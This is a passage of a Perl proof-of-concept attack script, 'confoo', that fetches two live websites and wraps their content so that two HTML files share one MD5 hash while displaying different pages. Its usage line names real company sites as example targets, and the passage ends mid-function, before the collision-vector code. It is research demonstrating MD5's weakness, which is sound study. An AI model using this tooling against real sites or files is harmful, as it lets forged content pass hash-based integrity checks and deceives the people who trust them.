#!/usr/bin/perl
use strict;
use LWP::Simple;
use Digest::MD5 qw(md5 md5_hex);
use Getopt::Long;
my $VERSION = '1.0';
sub usage{
print STDERR <<"EOD";
confoo $VERSION: Web Conflation Attack Using Colliding MD5 Vectors and Javascript
Author: Dan Kaminsky(dan\@doxpara.com)
Example: ./confoo www.lockheedmartin.com active.boeing.com/sitemap.cfm
EOD
exit 1;
}
my $verbose;
if(!$ARGV[1]) { usage(); }
if($ARGV[0] eq "-v") { $verbose++; shift @ARGV; }
my $addr1 = $ARGV[0];
my $addr2 = $ARGV[1];
print STDERR "Loading: $addr1...\n";
my $t1 = encap_js_from_web($addr1, "t1");
if(length $t1 eq 0) { die "couldn't load $addr1" }
print STDERR "Loading: $addr2...\n";
my $t2 = encap_js_from_web($addr2, "t2") or die "couldn't load file2";
if(length $t2 eq 0) { die "couldn't load $addr2" }
my $suffix = get_suffix("t1", "t2");
my $t1_prefix = get_prefix(1);
my $t2_prefix = get_prefix(2);
my $t1_full = $t1_prefix . $t1 . $t2 . $suffix;
my $t2_full = $t2_prefix . $t1 . $t2 . $suffix;
open FILE, ">t1.html";
print FILE $t1_full;
close FILE;
open FILE, ">t2.html";
print FILE $t2_full;
close FILE;
if($verbose){
print STDERR md5_hex($t1_full), ": md5sum of t1.html ($addr1)\n";
print STDERR md5_hex($t2_full), ": md5sum of t2.html ($addr2)\n";
}
sub encap_js_from_web{
my $addr = shift;
my $name = shift;
if($addr !~ /http/){
$addr = 'http://' . $addr;
}
my $content = get($addr);
if(!$content) { return ""; }
# When you migrate content from one server to another, and you don't copy
# over all the supporting files -- you need to create a href so that
# all the relatively hosted files are acquired from their remote server.
# If we wanted to do a full spider of $content, this wouldn't be necessary.
if($content !~ m/\